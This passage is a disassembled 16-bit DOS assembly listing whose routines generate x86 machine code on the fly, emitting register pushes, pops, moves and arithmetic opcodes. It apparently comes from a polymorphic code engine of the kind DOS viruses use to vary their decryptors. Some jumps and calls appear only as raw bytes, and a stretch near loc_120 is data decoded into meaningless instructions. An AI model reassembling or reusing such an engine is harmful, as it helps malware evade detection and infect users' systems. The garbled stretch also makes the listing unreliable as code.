loc_72:
		mov	ax,dx
loc_73:
		call	sub_30			; (066F)
		xchg	ax,dx
		pop	dx
		mov	bx,[si-1Ch]
sub_22		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_30		proc	near
		sub	ax,[si-16h]
		mov	[bx],ax
		retn
sub_30		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_31		proc	near
		xor	cx,cx			; Zero register
		mov	al,data_17		; (78CA:0129=0)
		cbw				; Convrt byte to word
		xchg	ax,bx
		mov	dx,0FFFEh
		mov	al,[bx]
		cmp	al,3
		je	loc_74			; Jump if equal
		cmp	al,4
		jne	loc_ret_75		; Jump if not equal
		neg	dx
loc_74:
		shl	bl,1			; Shift w/zeros fill
		push	bx
		inc	bx
		call	sub_33			; (0696)
		pop	bx
		mov	dx,2
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_33:
		mov	bl,[bx+21h]
		cmp	bh,[bx]
		jne	loc_ret_75		; Jump if not equal
		mov	si,bx
		add	dx,[bx+si+21h]
		or	dl,dl			; Zero ?
		jz	loc_ret_75		; Jump if zero
		mov	[bx+si+21h],dx
		dec	cx
  
loc_ret_75:
		retn
sub_31		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_34		proc	near
		xor	bh,bh			; Zero register
		and	byte ptr [bx],7Fh
		mov	dl,[bx]
		mov	ax,bx
		shl	bl,1			; Shift w/zeros fill
		mov	bx,[bx+21h]
		cmp	dl,3
		jb	loc_ret_80		; Jump if below
		push	ax
		push	bx
		call	sub_34			; (06AB)
		pop	bx
		mov	bl,bh
		push	dx
		call	sub_34			; (06AB)
		xchg	ax,bx
		pop	cx
		pop	bx
		mov	dh,[bx]
		sub	dh,0Dh
		jz	loc_76			; Jump if zero
		add	dh,7
		jnz	loc_77			; Jump if not zero
loc_76:
		mov	[di+3],dh
		mov	[di-0Eh],dh
		jmp	short loc_79		; (0705)
loc_77:
		cmp	dh,5
		jae	loc_79			; Jump if above or =
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_35:
		or	dl,dl			; Zero ?
		jnz	loc_78			; Jump if not zero
		cmp	dl,[di-1Dh]
		je	loc_79			; Jump if equal
		sub	al,0Eh
		and	al,0Fh
		cmp	al,5
		jae	loc_78			; Jump if above or =
		cmp	al,2
		jae	loc_79			; Jump if above or =
		cmp	dh,3
		jb	loc_79			; Jump if below
loc_78:
		mov	[di-0Fh],bh
		mov	dl,80h
loc_79:
		or	dl,cl
		and	dl,80h
		or	dl,[bx]
		mov	[bx],dl
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_36:
  
loc_ret_80:
		retn
sub_34		endp
  
		call	sub_38			; (0720)
		call	sub_37			; (0715)
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_37		proc	near
		and	al,7
		jz	loc_83			; Jump if zero
		xor	al,al			; Zero register
		cmp	al,[si+3]
		je	loc_83			; Jump if equal
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_38:
loc_81:
		call	sub_39			; (0723)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_39:
		and	al,3
		jnz	loc_82			; Jump if not zero
		mov	al,7
loc_82:
		xor	al,4
loc_83:
		cbw				; Convrt byte to word
		mov	bx,ax
		xchg	bh,[bx+si-8]
		or	bh,bh			; Zero ?
		jz	loc_81			; Jump if zero
		stosb				; Store al to es:[di]
  
loc_ret_84:
		retn
sub_37		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_40		proc	near
		mov	word ptr [si+2],80FFh
		xor	bh,bh			; Zero register
		mov	al,[bx]
		and	ax,7Fh
		shl	bl,1			; Shift w/zeros fill
		mov	dx,0FF00h
		dec	ax
		jz	loc_ret_84		; Jump if zero
		mov	dh,[si]
		dec	ax
		jz	loc_ret_84		; Jump if zero
		mov	dx,[bx+21h]
		js	loc_ret_84		; Jump if sign=1
		push	ax
		push	dx
		push	bx
		mov	bl,dh
		call	sub_40			; (0737)
		pop	bx
		pop	cx
		pop	ax
		cmp	al,0Ch
		jne	loc_89			; Jump if not equal
		or	dl,dl			; Zero ?
		jnz	loc_ret_84		; Jump if not zero
		cmp	dh,[si]
		je	loc_ret_84		; Jump if equal
		push	ax
		push	cx
		push	bx
		push	dx
		call	sub_43			; (0981)
		pop	dx
		mov	ax,[si+1]
		cmp	dh,al
		jne	loc_85			; Jump if not equal
		or	ah,ah			; Zero ?
		jz	loc_86			; Jump if zero
loc_85:
		mov	bl,85h
		call	sub_18			; (0447)
loc_86:
		pop	bx
		mov	al,75h			; 'u'
		stosb				; Store al to es:[di]
		inc	bp
		jz	loc_88			; Jump if zero
		cmp	di,data_15e		; (5F44:0359=0FFh)
		jb	loc_87			; Jump if below
		add	byte ptr [di-1],57h	; 'W'
loc_87:
		mov	ax,di
		xchg	ax,[bx+63h]
		mov	ds:data_12e[bx],ax	; (5F44:00E7=0FFFFh)
loc_88:
		dec	bp
		inc	di
		mov	dx,di
		jmp	short loc_96		; (080D)
loc_89:
		push	ax
		push	cx
		or	dl,dl			; Zero ?
		jnz	loc_96			; Jump if not zero
		cmp	dh,[si+1]
		jne	loc_96			; Jump if not equal
		mov	al,[si+3]
		or	al,al			; Zero ?
		js	loc_91			; Jump if sign=1
		and	al,7
		jz	loc_90			; Jump if zero
		cmp	al,[si]
		je	loc_91			; Jump if equal
		cmp	al,3
		jb	loc_91			; Jump if below
loc_90:
		xor	byte ptr [di-2],2
		test	byte ptr [si+3],40h	; '@'
		jz	loc_94			; Jump if zero
		push	ax
		or	al,0D8h
		mov	ah,al
		mov	al,0F7h
		stosw				; Store ax to es:[di]
		pop	ax
		jmp	short loc_94		; (0807)
loc_91:
		call	sub_41			; (07DA)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_41:
		mov	cx,8
loc_92:
		push	ax
		mov	al,dh
		or	al,50h			; 'P'
		stosb				; Store al to es:[di]
		pop	ax
		mov	bl,80h
		jcxz	loc_95			; Jump if cx=0
		dec	di
		dec	cx
		inc	ax
		and	al,7
		cbw				; Convrt byte to word
		mov	bx,ax
		mov	ah,[bx+si-8]
		or	ah,ah			; Zero ?
		jz	loc_92			; Jump if zero
		dec	bx
		jnz	loc_93			; Jump if not zero
		pop	bx
		push	bx
		xor	bh,bh			; Zero register
		mov	ah,[bx]
		or	ah,ah			; Zero ?
		js	loc_92			; Jump if sign=1
loc_93:
;*		call	sub_44			;*(0984)
		db	0E8h, 7Dh, 01h
loc_94:
		xchg	ax,bx
		inc	byte ptr [bx+si-8]
loc_95:
		mov	dh,bl
loc_96:
		pop	bx
		push	dx
		call	sub_40			; (0737)
		call	sub_43			; (0981)
		pop	dx
		pop	ax
		mov	byte ptr [si+3],80h
		cmp	al,0Ch
		jne	loc_97			; Jump if not equal
		mov	bx,dx
		mov	dx,di
		sub	dx,bx
		mov	[bx-1],dl
;*		jmp	loc_122			;*(094D)
		db	0E9h, 22h, 01h
loc_97:
		mov	ch,ah
		push	ax
		or	dl,dl			; Zero ?
		jnz	loc_100			; Jump if not zero
		cmp	dh,80h
		jne	loc_99			; Jump if not equal
		sub	al,5
		cmp	al,4
		mov	al,1
		jc	loc_98			; Jump if carry Set
		inc	ax
loc_98:
		mov	dh,al
		or	al,58h			; 'X'
		stosb				; Store al to es:[di]
		jmp	short loc_100		; (0856)
loc_99:
		or	dh,dh			; Zero ?
		js	loc_100			; Jump if sign=1
		cmp	dh,[si]
		je	loc_100			; Jump if equal
		mov	bl,dh
		xor	bh,bh			; Zero register
		dec	byte ptr [bx+si-8]
loc_100:
		pop	ax
		mov	bl,0Bh
		sub	al,9
		jz	loc_101			; Jump if zero
		mov	bl,23h			; '#'
		dec	ax
		jz	loc_101			; Jump if zero
		add	al,6
		cbw				; Convrt byte to word
		jns	loc_109			; Jump if not sign
		mov	bl,33h			; '3'
		inc	ax
		jz	loc_101			; Jump if zero
		mov	bl,3
		jp	loc_101			; Jump if parity=1
		mov	bl,2Bh			; '+'
loc_101:
		mov	al,[si+1]
		or	dl,dl			; Zero ?
		jnz	loc_104			; Jump if not zero
		and	dh,87h
		cmp	bl,2Bh			; '+'
		jne	loc_102			; Jump if not equal
		or	dh,40h			; '@'
loc_102:
		mov	[si+3],dh
loc_103:
;*		call	sub_12			;*(03D2)
		db	0E8h, 48h,0FBh
		jnc	loc_116			; Jump if carry=0
		or	al,al			; Zero ?
		jz	loc_104			; Jump if zero
		inc	bp
loc_104:
		xor	bl,6
		push	dx
		inc	dx
		inc	dx
		cmp	dx,5
		pop	dx
		jnc	loc_113			; Jump if carry=0
		or	ax,ax			; Zero ?
		js	loc_106			; Jump if sign=1
		cmp	bl,35h			; '5'
		jne	loc_113			; Jump if not equal
		inc	dx
		jnz	loc_112			; Jump if not zero
		mov	dh,al
		mov	al,2
loc_105:
		mov	bl,0F7h
		mov	ch,bl
		jmp	short loc_103		; (0887)
loc_106:
		or	dx,dx			; Zero ?
		jns	loc_107			; Jump if not sign
		neg	dx
		xor	bl,28h			; '('
loc_107:
		or	al,40h			; '@'
		cmp	bl,5
		je	loc_108			; Jump if equal
		or	al,8
loc_108:
		stosb				; Store al to es:[di]
		dec	dx
		jz	loc_116			; Jump if zero
		stosb				; Store al to es:[di]
		jmp	short loc_116		; (08FD)
loc_109:
		mov	cl,4
		jnz	loc_117			; Jump if not zero
loc_110:
		or	dl,dl			; Zero ?
		jz	loc_111			; Jump if zero
		mov	ax,2BAh
		stosb				; Store al to es:[di]
		xchg	ax,dx
		stosw				; Store ax to es:[di]
loc_111:
		xchg	ax,cx
		jmp	short loc_105		; (08AD)
loc_112:
		dec	dx
loc_113:
		or	al,al			; Zero ?
		jz	loc_115			; Jump if zero
		and	bl,38h			; '8'
		or	al,0C0h
		or	bl,al
		mov	al,dl
		cbw				; Convrt byte to word
		xor	ax,dx
		mov	al,81h
		jnz	loc_114			; Jump if not zero
		mov	al,83h
		stc				; Set carry flag
loc_114:
		stosb				; Store al to es:[di]
loc_115:
		xchg	ax,bx
		stosb				; Store al to es:[di]
		xchg	ax,dx
		stosw				; Store ax to es:[di]
		jnc	loc_116			; Jump if carry=0
		dec	di
loc_116:
;*		jmp	short loc_121		;*(094A)
		db	0EBh, 4Bh
loc_117:
		inc	cx
		cmp	al,7
		je	loc_110			; Jump if equal
		inc	ax
		cmp	al,4
		pushf				; Push flags
		jnc	loc_118			; Jump if carry=0
		sub	al,2
loc_118:
		or	dl,dl			; Zero ?
;*		jnz	loc_123			;*Jump if not zero
		db	 75h, 43h
		push	ax
		mov	al,1
		mov	bl,8Ah
		mov	ch,bl
		cmp	dh,3
		je	loc_119			; Jump if equal
		inc	bx
loc_119:
;*		call	sub_15			;*(0424)
		db	0E8h, 04h,0FBh
		pop	ax
		popf				; Pop flags
		push	ax
		jc	loc_120			; Jump if carry Set
		mov	ax,1F80h
		test	ah,[si-1Dh]
		jz	loc_120			; Jump if zero
		stosb				; Store al to es:[di]
		mov	al,0E1h
		stosw				; Store ax to es:[di]
loc_120:
		pop	ax
		mov	bl,0D3h
		mov	dl,1
		les	bx,dword ptr [si+1Ah]	; Load 32 bit ptr
		nop				;*ASM fixup - displacement
		test	al,[bx+16h]
		add	[bp+si],ax
		test	bl,dl
		push	ss
		add	[bp+si],ax
		test	ax,ax
		push	ss
		add	[bp+si],ax
		test	cx,si
		push	ss
		add	[bp+si],ax
		xchg	al,ds:data_13e[di]	; (5F44:0116=0FFh)
		add	al,[bx+di]
		mov	al,ds:data_11e		; (5F44:0071=0FFh)
		add	di,ax
		pop	es
loc_125:
		mov	dh,[si+1]
;*		call	sub_20			;*(046B)
		db	0E8h, 0Bh,0FBh
		xchg	ax,dx
		cmp	bl,0C1h
		je	loc_126			; Jump if equal
		shr	al,1			; Shift w/zeros fill
		jc	loc_127			; Jump if carry Set
		xchg	ax,bx
		stosb				; Store al to es:[di]
		xchg	ax,dx
loc_126:
		stosb				; Store al to es:[di]
loc_127:
		mov	[si+2],ch
loc_128:
		mov	dh,[si+1]
		xor	dl,dl			; Zero register
		retn
sub_40		endp
  
		mov	bl,0C1h
		popf				; Pop flags
		jnc	loc_129			; Jump if carry=0
		mov	ch,bl
		test	dl,8
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_43		proc	near
		jz	loc_129			; Jump if zero
		neg	dl
		xor	al,1
loc_129:
		and	dl,0Fh
		jz	loc_128			; Jump if zero
		cmp	dl,1
		je	loc_130			; Jump if equal
		cmp	ah,[si-1Dh]
		je	loc_125			; Jump if equal
loc_130:
		mov	bl,0D1h
		cmp	dl,3
		jb	loc_125			; Jump if below
		push	ax
		mov	al,0B1h
		mov	ah,dl
		stosw				; Store ax to es:[di]
;*		jmp	short loc_124		;*(0955)
sub_43		endp
  
		db	0EBh,0B0h
		mov	al,[si+1]
		cbw				; Convrt byte to word
		push	ax
		cmp	di,359h
		jae	loc_131			; Jump if above or =
		mov	bx,ax
		mov	[bx+si-10h],bh
loc_131:
		or	dl,dl			; Zero ?
		jnz	loc_132			; Jump if not zero
		mov	bl,8Bh
		call	sub_17			; (0444)
		jnc	loc_133			; Jump if carry=0
loc_132:
		or	al,0B8h
		stosb				; Store al to es:[di]
		xchg	ax,dx
		stosw				; Store ax to es:[di]
loc_133:
		pop	ax
		retn
		db	0A2h, 8Ah, 02h, 00h, 00h, 74h
  
seg_a		ends
  
  
  
		end	start